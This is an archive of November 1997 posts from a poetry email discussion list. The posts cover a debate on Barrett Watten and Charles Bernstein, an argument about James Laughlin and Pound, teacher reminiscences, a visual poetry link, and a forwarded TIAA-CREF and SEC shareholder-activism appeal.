just heard Stephen read at a Russian River Writers Guild reading here in Sonoma County. he was excellent. he read from new works, then all talked with him about his writing. I see he has at least 15 books...and I came home

with one of them (Sculpture), kindly signed. He also asked me to subscribe him to our poetry email list Socopoet. nice.

Layne

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.sonic.net/layne
A Quiet Place

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325. **Henry Gould**
friday's riddle
Fri 14 Nov 1997

Quotes from Herbet Schneidau, SACRED DISCONTENT:

Myth...is a kind of cultural glue; in this aspect, perhaps, it is to men what mutual grooming is to apes.

Christianity attacks human life at so deep a level that it disallows all existing culture. (Amos N. Wilder)

God deliberately gave Israel bad laws "which was to punish them, so that they would learn that I am the Lord." (Jeremiah)

There are no great Hebrew culture heroes who found cities: in fact it is questionable whether there are "Hebrew" cities at all. (Herbert Schneidau, a.k.a. Jack Spandrift)

Though I count myself innocent, it may declare me a hypocrite. (Job)

Now the ordinary man in society - and Hebrew society was no exception - cannot live comfortably with the suspicion that his acts are meaningless; therefore, as Isaiah says, he hears but does not hear.

As Hosea notes, many of the utterances sound like "raving" to the ordinary man. But Ezekiel, who had long periods of trance and aphasia, seems the most likely target for long-distance psychoanalysis.

Recently many studies have stressed the usefulness of aggression in stabilizing social structures; hen's pecking orders and baboons' dominance patterns furnish provocative analogies to such groups as the Eddystone Islanders, whose mythology served to order and control the aggression which, when suppressed, may rot the cultural fiber. No doubt similar relations between mythology and violence were widespread in man's early millenia... (Burnwatt Charstein)

...in spite of all the tomes that have been written on So-and-so's "use of the Bible", the point is how the Bible uses authors, not vice versa.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The significant lack of myth in the Bible may have much to do with its unsettling effect. (Herbert Schneidau)
- Eric Blarnes

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326. **Keith Tuma**
Re: watten barrage
Fri 14 Nov 1997

On Fri, 14 Nov 1997 16:19:51 -0500 David Kellogg said:
>Keith, you're right to point out the need to bring Bernstein's piece
>directly into the conversation, instead of peripherally. I'll do that
>when I have it on hand (don't right now).
>
>Joe Amato is also right to point out that there are lots of convergences
>between the approaches. Watten's take-no-prisoners style has always, to
>me, stressed differences that assume a ground of agreement which some
>might not recognize. It's part of his way of making conversation.
>
>As to the "red herring" issue. It might or might not be accurate to
>charge Bernstein's essay in this way; however, I think it's not off the
>mark to suggest a certain visible tendency in the way arguments are
>carrried out over issues such as the Heath turf wars. Way back as far as
>Ron Silliman's _The New Sentence_, the point about competition among
>excluded poetries for "slots in the metanetwork" was being made by writers
>associated with the language movement; while Ron is about as pluralist a
>poet as I know, and has emphasized the specificity of his approach in more
>recent essays (like the one in _The Politics of Poetic Form_), identifying
>the institutional issue as important is both right and problematic. What
>Watten is trying to do here, I think, is intervene in a way that prevents
>the politics of poetry from being reduced to a merely literary politics.
>In that sense, he reads Bernstein as symptomatic, even though, as we all
>know, they have more in common than many other poets.
>

Hi David,

Yes on the "merely literary politics" business, but a cynic might say that insofar as the first agenda in BW's essay is arguing the necessity of a "cultural poetics" BW is "merely" caught up in a methodological "turf war" and one primarily situated in the academy. Though by the terms of the essay there would be no such thing as "merely" as the victorious and vanquished discourses and tastes, the standard/hegemonic and non-, would both be products within the social totality

and not necessarily opposed or in a binary formation. Or so he seems to be saying tho I'm cryptic here. And yes too of course on BW and CB having more in common than others but the target is not so much CB's practice or even for that matter his poetics so much as the modernism/modernity distinction BW sees perpetuated in Altieri especially but also in CB. BW's "social reflexivity" as against Altieri's "reflexive consciousness" comes clear, as does the contingency and non- translatibility (god what a word if it is one) of BOTH the normative/ non- normative distinction AND "identity politics." (Once saw a french scholar shake his head befuddled when I tried to explain how that phrase usually means in the US, and by the way I was a little unfair to BW yesterday as there's a discussion in his essay of CB's reading of McKay that acknowledges that CB is grappling with these issues.)

I think that down the road it's likely that BW means to "argue" with Greenblatt and the fact that that's just a footnote here is just a little frustrating. Though the point of disagreement is clear: BW believes the author returns in Greenblatt's cultural poetics in less-than-useful ways, even while he sides with Greenblatt's project in other ways.

I take it that the most useful provocations here turn on several sentences I'll now quote for those who don't have the essay--you'll have read them. No time to comment on them now. Maybe later. In the event that I can't find the time I'll go on record as saying that when BW writes that "seeing the material text as cultural production may lead to new vistas of comprehension, and to new and as yet unanticipated forms of participation" I want to agree with the first proposition while noting that the last is both hortatory and hopeful, dare I say "impossibly" utopian. It may be true that the most political thing that langpo did was not disrupt the norms of poetic practice or hybridize genre or whatever but build institutions, networks of exchange, and etc. which acknowledged the collectivity and "social reflexivity" of poetic practice, and it may be that we need to be reminded that "there's no outside" as the cliche goes, but the idea that a "cultural poetics" will produce new forms of participation--well that's hopeful. And there's more to say. Now for those who ask for more text & w/ the reminder that one can dial up Steve Evans and get the whole thing here's a few passages. [Oh and the CB is _Modernism/Modernity 3.3 (September 1996), from Johns Hopkins UP.]

"The trouble with self-reflexivity as the value of form, in this sense, is that it insists on imagining itself as apart from the world that constitutes it. One can only read oneself out of the world" (34). [One might italicize "read"]

"Norms are products, not deductive schema of oppressive rationality, although they can be used for oppressive ends. Nonstandard norms are also produced; they are not simply defined against the abstraction of normativity. The work of

the language School, if produced within a system of social feedback necessary for meaning and comprehension, may in turn end up reproducing itself as a new norm. If this were to happen, a nonstandard mode of expression might simply be inserted into the space of a vacated norm of the expressive lyric" (33). [Big word here would be "if"?]

"The assembly line is a form of modernity that was never 'invented.' Likewise the Language School had no authorial origins, but began as a sequence of 'improvements' within the form of organization that developed between writers in _This_" (19).

> *Watten's piece and Bob Perelman's Marginalization have this in common: they represent a continuation of some debates that took place in the seventies, but in a new context: now that language writing is being academically recognized, that continuing debate is -- can't help but be -- (mis)recognized as fragmentation.*

I'd like to hear more on this, David.
>
>Cheers,
>David

best,
Keith

> *~~~

I would say that there have been few poets as generous with other artists. Patricia

On Fri, 14 Nov 1997, Maria Damon wrote:

> *At 5:14 PM -0500 11/14/97, Brent Long wrote:*
> *maria,*
> *Whether or not you agree with who he published, Laughlin's contributions to 20th Century literature are immense. Keep in mind that it is due in large part to Laughlin that you can pick up much of Hermann Hesse's work at your local library.*
>
> *Brent*
>
> *brent: you seem to have missed my point, which was not to chide laughlin for being a publisher (you may have noticed i was among the first to respond to marjorie's post), but to chide pound for (if the anecdote is accurate) suggesting laughlin give up his own writing in order to devote his considerable talent and resources to publish --surprise surprise --pound himself. i said it sounded like the same old, though usually gendered, story: "honey, don't do your own writing, give up everything to support ME and MY writing." it is good to hear from others that laughlin did not entirely abandon his own writing after all.*
>
> *At 09:23 AM 11/14/97 -0600, you wrote:*
> *a very informative post, and one that makes me think twice. a publishing company that was started because an aging fascist with enormous charisma and clout said, you should quit writing and devote yourself to publishing me and my friends???? sounds uncomfortably familiar, only usually a certain gender difference plays a role, which it doesn't here, at least not so explicitly...*
>
> *At 8:23 PM -0400 11/13/97, David R. Israel wrote:*
> *Patrick Pritchett writes --*
>
> *The story goes, as Laughlin himself relates in his marvelous _Pound As Wuz_, that he went to sit at the feet of the master in Rapallo in the late 30's. Pound, however, advised him to give up poetry and start a publishing company that would print Pound and Pound's pals. The rest is history, as they say. . . .*
>
> *though I don't have the book, am pretty sure -- a small biblio note, this -- that the title is *Ez as Wuz* [meaning, Ezra as he the was, one supposes -- "Ez" evidently being the familial nickname].*
>
> *. . . American poetry owes him a debt which can only be repaid by keeping faith with his committment to making it new.*

here here

btw, re: the Poundian dictum "make it new," seems the "it" in question is antiquity's language / content -- Pound seeking to promote an Ancient Future, so to say (as when he admonished young W.S. Merwin "study root language, don't study branch language" or words to that effect) . . . so that being steeped in the old, one can then make it new . . .

hat-tips to James Laughlin -- one of those sturdy, rugged, supportive presences on whom "so much depends" . . .

d.i.

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329. David Kellogg
Re: James Laughlin
Sat 15 Nov 1997

On Sat, 15 Nov 1997, Burt Kimmelman [redacted] wrote:
>
> i can't help but express my dismay at the perhaps utterly blind reductivism
> of summing up laughlin's life in terms of his connection with pound only
> and further summing up pound as "an aging fascist."

I don't think maria meant to reduce JL's life this way, but the post _did_ have that effect. (Sorry md: gotta call 'em as I see 'em.)

Besides, when Laughlin met Pound, Pound was neither old nor demonstrably a fascist (yet).

I wouldn't want to reduce Zukofsky, or Olson, or Bunting, in this way -- those who have done so mainly want to dismiss those writers from literary history.

Why is it easier with a person labelled "publisher" than simply "poet"? What about "critic"? Will Hugh Kenner's life and work, when he dies, be similarly reduced to his visiting Pound at the urging of Marshall McLuhan? I hope the hell not.

Cheers,
David
~~~
~~~

living at it, but because he believed that Laughlin simply didn't have the talent or sensibility ever to be very good at it. (I think he was more or less right--I've read a lot of Laughlin's poetry, and I can't recall a single one of the poems that sticks in my mind as particularly good. I suppose it would be way uncool for me to characterize his work as relentlessly _minor_, but most of it falls right into the category of personal, voice-based lyric that most of us on the list seem to dislike and find retrograde. What I _do_ find intermittently interesting is his typewriter-space based prosody--each line determined by the number of spaces, rather than syllables or words. But that doesn't keep me reading the poems.) You draw a fascinating parallel, Maria, but what's the significance? Pound tells Laughlin not to write; Emerson leaves Emma Lazarus out of Parnassus. So what? The latter may well be a case of sexism, the former certainly isn't. Does his treatment of Laughlin mean we should discount Pound's immense aid and sponsorship of younger poets? Go back and reread the letters to Mary Barnard and Iris Barry in Pound's _Selected Letters_ if you want to say something about the gendered basis of Pound's mentorship practices. (Of course, it may be a class thing--Pound dismissing Laughlin's work as a rich boy's dilletantism--but I suspect that we're much less willing to rush to the defence of the well-endowed minority.) Sorry, but I find it odd that, in a moment when everyone is striving to say nicenesses about Laughlin's position in 20th-century poetry publishing, you want to bend over backwards to make Pound's dismissal of his work somehow symbolic of male poets' squashing female poets' talents. Sadly, it happens all the time--but it didn't happen here, and Laughlin's publishing track record shows that, of small press publishers in the US, he wasn't particularly guilty of that sin. best, Mark Scroggins

On Fri, 14 Nov 1997, Pritchett,Pat @Silverplume wrote:

> *Interesting observation, Maria. Pound was, I suppose, nothing if not patronizing. This tendency to lord it over "lesser mortals" seems over to time to have become magnified into his psychosis. Funny thing is though, I can't think of a better word to describe the institutionalized sexism you allude to. And this remark from Pound to JL by the same poet who satirized such patronizing attitudes in "Hugh Selwyn Mauberly": "... and give up poetry, my boy, there's no money in it."*
>
> *Patrick Pritchett*
> ---
> *From: Maria Damon*
> *To: POETICS*
> *Subject: Re: James Laughlin*
> *Date: Friday, November 14, 1997 12:06PM*
>
> *a very informative post, and one that makes me think twice. a publishing*

> *company that was started because an aging fascist with enormous charisma and clout said, you should quit writing and devote yourself to publishing me and my friends???? sounds uncomfortably familiar, only usually a certain gender difference plays a role, which it doesn't here, at least not so explicitly...*
>
> *At 8:23 PM -0400 11/13/97, David R. Israel wrote:*
> *Patrick Pritchett writes --*
>
> *The story goes, as Laughlin himself relates in his marvelous _Pound As Wuz_, that he went to sit at the feet of the master in Rapallo in the late 30's. Pound, however, advised him to give up poetry and start a publishing company that would print Pound and Pound's pals. The rest is history, as they say. . . .*

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331. **Burt Kimmelman**
Re: James Laughlin
Sat 15 Nov 1997

My apologies to Maria if I took a remark of hers that was quoted by someone else out of context. I'm afraid I may have been hasty and I guess I ought to resist wading in with off the top of my head opinions when I am busy enough with other things so that I am not carefully sifting through the Poetics posting. But I still think Joel Oppenheimer was right (even though I myself at times pose as one of those "professionals").

Burt

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332. **Maria Damon**
Re: James Laughlin
Sat 15 Nov 1997

okay; thanks for reminding me that people are complex. both of our "takes" can be true i guess.

At 2:17 AM -0500 11/15/97, Patricia Cockram wrote:
>Maria,
>Ordinarily I would agree with your assessment. But Pound was famous for
>helping any and all poets whose work he thought was serious (that includes
>women, by the way), and he often did so before promoting his own work.
>For all his faults, he was hugely generous, even to those who were not
>his friends or with whom he did not agree politically. Laughlin would say

>so himself.
>
>Pound was not always right, but my guess is that he sincerely
>felt that Laughlin didn't have it in him to be a poet. Sometimes he
>didn't think he had it in him to be a publisher either, judging from some
>of his letters to Jay complaining about the amount of time he spent on the
>ski slopes instead of getting the books out.
>
>I would say that there have been few poets as generous with other artists.
>Patricia
>
>On Fri, 14 Nov 1997, Maria Damon wrote:
>
>> At 5:14 PM -0500 11/14/97, Brent Long wrote:
>> >maria,
>> >Whether or not you agree with who he published, Laughlin's contributions
to
>> >20th Century literature are immense. Keep in mind that it is due in large
>> >part to Laughlin that you can pick up much of Hermann Hesse's work at
your
>> >local library.
>> >
>> >Brent
>>
>> brent: you seem to have missed my point, which was not to chide laughlin
>> for being a publisher (you may have noticed i was among the first to
>> respond to marjorie's post), but to chide pound for (if the anecdote is
>> accurate) suggesting laughlin give up his own writing in order to devote
>> his considerable talent and resources to publish --surprise surprise
>> --pound himself. i said it sounded like the same old, though usually
>> gendered, story: "honey, don't do your own writing, give up everything to
>> support ME and MY writing." it is good to hear from others that laughlin
>> did not entirely abandon his own writing after all.
>> >
>> >
>> >
>> >At 09:23 AM 11/14/97 -0600, you wrote:
>> >>a very informative post, and one that makes me think twice. a publishing
>> >>company that was started because an aging fascist with enormous
charisma
>> >>and clout said, you should quit writing and devote yourself to publishing
>> >>me and my friends???? sounds uncomfortably familiar, only usually a

>> >>certain gender difference plays a role, which it doesn't here, at
>>least not
>> >>so explicitly...
>> >>
>> >>At 8:23 PM -0400 11/13/97, David R. Israel wrote:
>> >>>Patrick Pritchett writes --
>> >>>
>> >>>> The story goes, as Laughlin himself relates in his marvelous _Pound
>> >>>> As Wuz_, that he went to sit at the feet of the master in Rapallo in
>> >>>> the late 30's. Pound, however, advised him to give up poetry and
>> >>>> start a publishing company that would print Pound and Pound's pals.
>> >>>> The rest is history, as they say. . . .
>> >>>
>> >>>though I don't have the book, am pretty sure -- a small biblio note,
>> >>>this -- that the title is *Ez as Wuz* [meaning, Ezra as he the was,
>> >>>one supposes -- "Ez" evidently being the familial nickname].
>> >>>
>> >>>> . . . American poetry owes him a debt which can only be repaid by
>> >>>> keeping faith with his committment to making it new.
>> >>>
>> >>>here here
>> >>>
>> >>>btw, re: the Poundian dictum "make it new," seems the "it" in question
>> >>>is antiquity's language / content -- Pound seeking to promote an An-
cient
>> >>>Future, so to say (as when he admonished young W.S. Merwin "study
>> >>>root language, don't study branch language" or words to that effect)
>> >>>. . . so that being steeped in the old, one can then make it new . . .
>> >>>
>> >>>hat-tips to James Laughlin -- one of those sturdy, rugged, supportive
>> >>>presences on whom "so much depends" . . .
>> >>>
>> >>>d.i.
>> >>> .
>> >>> .....
>> >>> .....
>> >>> \\\\

>> >>> | thy centuries follow each other
>> >>> | perfecting a small wild flower
>> >>> | (Tagore)
>> >>> //\\\\\/////
>> >>
>> >>
>>

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333. **Maria Damon**
Re: James Laughlin
Sat 15 Nov 1997

again, i take this as a serious misreading of my intention and my words themselves. i admire laughlin's contributions tremendously and did not belittle him thru association w/ pound, as anyone reading the words on the screen might have realized. my objections were leveled at pound. if the anecdote is accurate, i stand by my observation. if it is not, i will reconsider.

At 10:08 AM -0500 11/15/97, Burt Kimmelman [redacted] wrote:
>i can't help but express my dismay at the perhaps utterly blind reductivism
>of summing up laughlin's life in terms of his connection with pound only
>and further summing up pound as "an aging fascist." To mirror people
>like marianne moore and more recently alfred kazin, let me say that i
>too dislike pound--but i also recognize his genius, and as a literary
>historian of a sort his huge influence on 20th century poetry and criticism.
>i recall a wonderful closing line of a poem by joel oppenheimer's called
>"for the barbers": "oh the / professionals what we / should fear."
>also, i can't help but tentatively advance the idea that some at least
>period of dignified mourning should perhaps be observed before we start
>on the really cutthroat postmortems.
>burt kimmelman

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334. **joel lewis**
Re: William Matthews
Sat 15 Nov 1997

Bill Matthews was my writing teacher at CCNY's MA Creative writing program. I thought I had entered the netherworld when, in the first class, he made reference t"to my good friend Daniel Halpern" well, it wasn't hades--though it was my first encounter with nondowntown poetics & (gasp) folks like matthews

loved poetry as much as ted berrigan did except the heroes tended more to be robertfrost than frank o'hara.

ebven though our senses of poetry were miles apart, he treated my work with respect as he did with everyone in the workshop -- the one "star" to emerge from my time was Walter Mosley, who found his calling in the mystery novel genre.

joel lewis

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335. David R. Israel
Mosley's poesy
Sat 15 Nov 1997

[was, Re: William Matthews]

Joel Lewis recollects --

> *Bill Matthews was my writing teacher at CCNY's MA Creative writing program. . . . -- the one "star" to emerge from my time was Walter Mosley, who found his calling in the mystery novel genre.*

hmm, interesting.

I rapped my knuckles on the front door. It was fabricated from many layers of wood. So many layers that I couldn't get a sure knock. The sound I did make was nothing more than the rustling of kisses in a close hallway at night.

- Easy Rawlins (Mosley's privite eye character), in *Black Betty*

Other than Chandler and Hammett, Walter Mosley happens to be the only mystery writer I've taken an interest in reading in recent years. So I appreciate getting this little, unexpected anecdotal backgrounder, Joel.

Haven't kept up with Mosley's work, but recent reviews indicate some branching out from mystery genre (& from Easy Rawlins). As noted in the NYT Book Review by Sven Birkerts (Nov. 9 '97) (at: http://search.nytimes.com/books/search/bin/fastweb?getdoc+book-rev+boo k-r+22253+6++%27Walter%20Mosley%27) --

> Assigning his protagonist, Socrates Fortlow, the name of the father of Western philosophy, Walter Mosley has, in ''Always Outnumbered, Always Outgunned,'' set out to explore the implications of moral action in a society that has lost all purchase on the spirit of the law. This, Mosley's eighth work of fiction, makes a striking departure from the familiar event-driven world of Easy Rawlins. The 14 loosely

> linked vignettes and tales incorporate the Platonic dialogues as a kind of ghost melody; signature strains of the classic are vamped up in the rough demotic of present-day Watts.

d.i.

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 .
 .....
 ............
 \\\\
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There are so many ways in which both chance & choice can have scope, it seems -- and their combination (with, as you say, constraint) seems, to me, eminently human (even when, as here, drawing on the potential of the latest gizmotry).

Thanks much for the offer of y our recent publication (will send snail address under separate e).

d.i.

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337. Miekal And

Re: visual poetry on the internet

Sat 15 Nov 1997

Jena Osman wrote:
>
> For a workshop in visual poetry: I'm looking for good examples of visual
> poetry on the internet. I'm already familiar with the amazing ubuweb site.
> Please send URL's of other favorites. Thanks,
>
> Jena Osman
> [redacted]

jena:

reading yr request last week reminded me that I hadnt put any visual work up for awhile so I sat down & put this piece together.

one
hundred
villages
by miekal and

http://net22.com/qazingulaza/joglars/logokon.html

...village life at its most binary...

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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338. **Annie Finch**
Shareholder Activism
Sat 15 Nov 1997

If any of you contribute to TIAA-CREF retirement accounts, when you get a ballot in the mail, I urge you to vote yes on shareholder proposal 4, which seeks to widen the impact of the Social Choice account by investing in companies that make a positive social and environmental impact rather than just screening out negatives. (On the ballot itself, TIAA-CREF actually recommends voting no, which I fine unconscionable.) Relevant info below.

Annie

> *X-Incognito-SN: 1019*
> *Date: Thu, 06 Nov 1997 11:26:13 -0500 (EST)*
> *From:* [redacted]
> *Subject: Shareholder Activism*
> *To:* [redacted], [redacted], [redacted],
> [redacted], [redacted], [redacted],
> [redacted], [redacted],
> [redacted]
> *Reply-to:* [redacted]
> *MIME-version: 1.0*
> *X-Incognito-Version: 4.10.130*
> *X-Priority: 3 (Normal)*
>
> *We apologize for contacting you again so soon after our last message, but wanted to pass on this urgent request from a colleague regarding SEC regulations on shareholder resolutions (third item below) that requires action by November 10 (to influence TIAA-CREF) or by November 24 (to comment to the SEC).*
>
> *The first and second items below we were planning on sending in a few weeks, but thought we'd just send them all together.*
>
> *Abby and Neil*
> ---
>
> *SOCIAL CHOICE FOR SOCIAL CHANGE:*
> *CAMPAIGN FOR A NEW TIAA-CREF*
>
> *A call to invest 5-10% of Social Choice Account assets*
> *in companies that are models of*
> *social and environmental responsibility*
>
> *Box 135, Manchester College, North Manchester, IN 46962*
> [redacted]*/5009,* [redacted], [redacted]
> *http://www.manchester.edu/departmt/peace/njw/disclaim.html*

Neil Wollman and Abigail Fuller, Co-Chairs

Dear Colleague,

We are writing to ask your help in spreading word of the campaign to faculty in your discipline. Any or all of the following would be most helpful. If all you have time to do is send us the names and addresses of your professional organizations, we'll do the legwork.

1. Post the notice about the campaign (sent to you previously) to email discussion lists to which you subscribe.
- or, tell us how to contact the list and we will do it

2. Ask your professional association(s), and or divisions/sections within them, to publish the notice in their newsletter.
- or, give us the name/address of the publications and we will do it

3. Ask your professional association(s), and/or divisions/sections with them, to endorse the campaign. This would include groups concerned with social and environmental responsibility. (See endorsement request letter below.)
- or, give us the name/address of the appropriate people to contact and we can do it

If you prefer, we can send you hard copies of the campaign notice or endorsement request letter. These materials, and others relevant to the campaign, are accessible at our web site--see address above.

If possible, let us know which tasks you can undertake--though that's not a necessity. Thanks for your contribution to socially responsible investing.

Sincerely,

Neil and Abby

SAMPLE LETTER REQUESTING GROUP ENDORSEMENT

Dear Colleague,

We are writing to ask your organization to endorse and/or publicize the

campaign
described below. Formal endorsement roughly entails the following:

- Sending a letter noting your endorsement to us, and to Chairman and CEO John
Biggs, Vice Chairman and CIO Martin L. Leibowitz, and Corporate Secretary Albert J.
Wilson, and the other CREF trustees: TIAA-CREF, 730 Third Avenue, New York, NY
10017-3206.

- Publicizing the endorsement in your newsletter, on your e-mail lists or website, at
conferences, or other ways.

- Requesting that your members contact TIAA-CREF individually. (Letters from individuals with and without TIAA-CREF accounts are welcome.) Besides postal letters,
e-mail can be sent to [redacted], with a request to forward
copies to the
officers and trustees noted above.

Whether or not you can endorse the campaign, any efforts to publicize it are most
appreciated.

Sincerely,

SOCIAL CHOICE FOR SOCIAL CHANGE:
CAMPAIGN FOR A NEW TIAA-CREF

TELL TIAA-CREF, THE PENSION FUND FOR COLLEGE FACULTY, THAT YOU SUPPORT "POSITIVE INVESTING" FOR THE SOCIAL CHOICE ACCOUNT! SEND EMAIL TO [redacted], PHONE
[redacted], OR WRITE TO 730 THIRD AVE., NY, NY 10017-3206.
(To circulate a petition, contact the campaign at the address below.)

Despite the fact that over 80 percent of TIAA-CREF's Social Choice Account participants favor "seeking out for investment companies [that] have an outstanding record of good performance on social issues, rather than rely on negative screens," the company has refused to do just that. This was revealed in a survey conducted by TIAA-CREF--the Teachers Insurance and Annuity Association-College Retirement Equities Fund--which also found that only 3 percent oppose this investment strategy.

In response, college faculty have launched a nationwide campaign

to persuade TIAA-CREF to begin "positive investing" of their pension funds. We are calling for 5-10% of assets in the Social Choice Account, a socially responsible fund, to be invested in companies that are models of social and environmental responsibility. This would mean $100-200 million invested in companies with, for instance, exemplary relations with employees or local communities.

TIAA-CREF is the nation's largest private pension system. In 1989, we successfully lobbied the group for the creation of the Social Choice Account, which screens out companies that do business in tobacco, alcohol, nuclear energy or weapons, or the military; pollute the environment; or operate in Northern Ireland without endorsing the McBride Principles against religious discrimination in employment. It is now the largest socially responsible account in the country.

For a brochure and other campaign materials, contact Social Choice for Social Change: Campaign for a New TIAA-CREF, Box 135, Manchester College, North Manchester, IN 46062, [redacted]/5009, or e-mail Neil Wollman at [redacted] or Abigail Fuller at [redacted]. Visit the web site at http:/www.manchester.edu (click on "index," then "Social Choice for Social Change"). If you do contact TIAA-CREF or take other actions, please let us know so we can monitor campaign activities. Thank you.

To: Eugene Finegold, Gordon Rands, David Gordon, Neil Wollman:

I understand that each of you has been involved in some way with social issues and TIAA. This is to solicit your assistance if that is possible, and in the hope that you have a network of some sort to get the word out.

Background: The SEC has recently proposed rules for comment that would effectively limit the possibilities of shareholder activity on social and environmental issues. I won't go into detail, but more information can be gotten by going to www.socialinvest.org/sec. To underline the magnitude of the problem, research soon to be released will show that much of the activity around South Africa might never have been able to happen. So too with many of the environmental resolutions, such as corporate action on the CERES Principles.

The SEC is asking for comments by November 25.

It appears that TIAA is planning not to respond. As we understand it, TIAA feels that they are big enough that the proposed rules, if enacted, will not restrict anything they might want to do. This suggests a certain optimism on their part, and totally disregards the importance of shareholder activity to smaller shareholders.

I am planning to attend the TIAA meeting on November 10 in New York and make a statement asking TIAA to respond to SEC, supporting the rights of small

shareholders. It would be very useful if they were to hear from their shareholders--us-- letting them know that we want them to hold the line, supporting the present arrangements.

The following press release gives some background:

Social Investment Forum
NEWS RELEASE

CONTACT: Erin Mantz or Scott Stapf, 703/[redacted]

COALITION WARNS SEC PLAN
CREATES IMPOSSIBLE 'OBSTACLE
COURSE' FOR SHAREHOLDER RIGHTS

SEC Proposal Slams Smaller Investors; Corporations Get
Handed a Variety of New Tools to Block Shareholder
Actions

WASHINGTON, D.C. / OCTOBER 23, 1997 -
If it had been in place over the last two decades, the insidious effects of a
package of proposed rules now pending before the U.S. Securities and
Exchange Commission (SEC) would have made it virtually impossible to
sustain critical shareholder advocacy campaigns on issues such as
apartheid in South Africa, the sale of tobacco to American youths,
environmental degradation, and the use of slave labor abroad, according
to a warning issued today by a new coalition opposed to the pending
SEC rules now out for public comment until November 24, 1997.

Social Investment Forum President, Steve Schueth said:

> *"We call on SEC Chairman Arthur Levitt, who is universally regarded as the leading friend of the small investor, to reject these anti-shareholder rules. The SEC staff has cobbled together an obstacle course of impediments that, when taken together, would give big business the ability to wear down, sidetrack or derail virtually any shareholder resolution. The result is a situation very similar to building a bomb: take the elements that go into the explosive device in isolation and they don't raise a lot of alarm, but put them together in the hands of someone who intends to use it and you've got a devastating combination that can do*

real harm."

PRESERVING SHAREHOLDER RIGHTS: A BOTTOMLINE ISSUE

Coalition members emphasized that their fight to preserve shareholder rights is ultimately about the bottom line. With recent multi-million dollar judgements against Denny's, Home Deport, Texaco and many others illustrating the danger of unchecked corporate misconduct, the need for major oversight by concerned shareholders is stronger now than ever.

"This has nothing to do with whether you are a liberal or a conservative," said Timothy Smith, Executive Director of the Interfaith Center on Corporate Responsibility (ICCR). "Any investor who believes that shareholder resolutions are important tools for promoting corporate accountability and good corporate governance will oppose the SEC's proposal. CEOs never would have acted so quickly on such diverse issues as responsible corporate governance, Northern Ireland, sweatshops, China, tobacco, violence in the media, workplace discrimination, pollution and corruption without the outside pressure of shareholder resolutions. Corporate mismanagement of such key issues can seriously effect both a company's reputation and profitability."

In a letter submitted September 18, 1997 commenting on the SEC staff's proposals, out-going Commissioner Steven M. Wallman noted: "_ the practical impact of what can be accomplished through shareholders appropriately engaged in their corporation's affairs is enormous. Part of what makes our economy strong and our corporations successful is our system of active shareholders engaged in debate over matters of concern. And those matters consistently have included issues relating to corporate governance, workplace practices and social issues."

HOW THE SEC STAFF PROPOSAL WOULD GUT SHAREHOLDER RIGHTS

Members of the coalition have serious concerns that the various provisions of the SEC staff plan would be exploited in a

systematic
fashion by corporate America to shut down shareholder actions. For example, key coalition members warned about the following provisions:

Wide-open loophole for corporate misconduct. Currently, companies can exclude shareholder resolutions if the operations in question account for less than 5 percent of a company's assets and earnings ... unless the issue at stake is "otherwise significantly related to the company." In proposing to switch to a purely economic standard of $10 million of annual revenue for large companies and 3 percent of revenues or assets for smaller companies, the SEC staff proposes to create a loophole under which a company could kill shareholder resolutions which cannot be quantified in hard, cold economic terms. If such a provision had been in effect in recent years, the anti-apartheid divestment movement, opposition to tobacco sales to children, and proposals concerning child labor and fair employment in Northern Ireland almost certainly would have been ruled out as topics for shareholder resolutions, particularly early on before hard economic data were available. Further, the new provision would likely create a perverse incentive to "outsource" corporate misconduct, such as exploiting slave labor in other nations. Corporations could position themselves beyond the reach of shareholder resolutions, so long as they carried out their misconduct through vendors, subcontractors and other supposedly arm's-length relationships. As the recent problems at Denny's, Home Depot and Texaco illustrate, even a small amount of corporate misconduct can have enormous ramifications in terms of reputation and the financial bottom line.

"Judge, jury and executioner" status granted to big business. For shareholder rights proponents, there is a great deal of concern about a SEC-proposed rule change that would allow resolutions to be excluded if the corporation claims it is

intended
to advance a personal claim or "grievance." Under current rules,
that decision is in the somewhat objective hands of the SEC.
Under the proposal, the SEC has the option to bounce the most
complicated claims back to the company, allowing the company to
unilaterally omit the shareholder resolution in question. This
dramatic and unwarranted increase in corporate ability to erase
shareholder resolutions is able to function as a death sentence for
resolutions submitted by unions, religious groups, socially
concerned investor groups and other individuals. Companies
already invoke the existing "grievance" provision in their efforts to
block legitimate shareholder resolutions they don't want presented
for public debate. Under the Commission's proposal, big business
would be emboldened to do so more freely. Shareholders would
be forced to take their concerns to court and engage in a fight that
would involve entirely uneven legal resources.

Pulling the plug on most shareholder resolutions after their
first year. The period of time over which a shareholder advocacy
campaign builds up a head of steam often takes several years.
During this shareholder education interval, shareholder votes for
the proposals may initially be modest, as was the case with
American companies doing business with the racist apartheid
regime in South Africa and those peddling tobacco products to
children. Under the SEC proposal, the current percentage of votes
required for resubmission would be boosted dramatically
doubled in the first two years and tripled by year three (from 3, 6
and 10 percent over three years to 6, 15 and 30 percent). In
practical terms, the pernicious effect of this SEC-proposed change
would be to kill most shareholder resolution campaigns in the
cradle after their first year, before the process has had time to
germinate.

In addition to three key provisions outlined above, coalition members also expressed concerns about other sections of the SEC proposal. For example, one portion of the package would create a virtually impossible "override" provision under which a resolution could be put in front of shareholders if the owners of 3 percent of all outstanding shares agree to support it. While coalition members are intrigued by the concept of an automatic override provision, a substantially lower threshold for automatic consideration would be necessary to make it practically useful. They noted that the 3 percent level would be virtually impossible to achieve with any Fortune 500 company. Even a threshold of just one-quarter of 1 percent (1/4%) would require an average of $80 million to put a resolution on the ballot of one of these large firms; 3 percent would require lining up about $1 billion in shares.

Bill Patterson, Director, Office of Investments, AFL-CIO said: "This is apparently the SEC staff's idea of Christmas in October for managers who don't want to deal with the nagging conscience of their shareholders. The SEC has proposed a complicated package of provisions that individually may seem innocuous, but, when combined and put in the hands of big business, would work to seal the vault on meaningful shareholder advocacy. Personally, I cannot believe that Chairman Levitt and the other commissioners want their legacy to be a lethal blow to shareholder rights in America."

TO SUBMIT COMMENTS / GET MORE INFORMATION

Comments on the SEC rule proposal should be submitted by November 24, 1997 to the following address: Jonathan G. Katz, Secretary, US Securities and Exchange Commission, 450 5th Street, NW, Washington, DC, 20549. Three copies of each comment letter should be sent and should refer to File No. S7-25-97. Electronically filed comments may be submitted and the following e-mail address [redacted] *and should include the file number in the subject line. Comments already filed electronically may be read at the SEC Web site at www.sec.gov/rules/proposed/34-39093.htm*

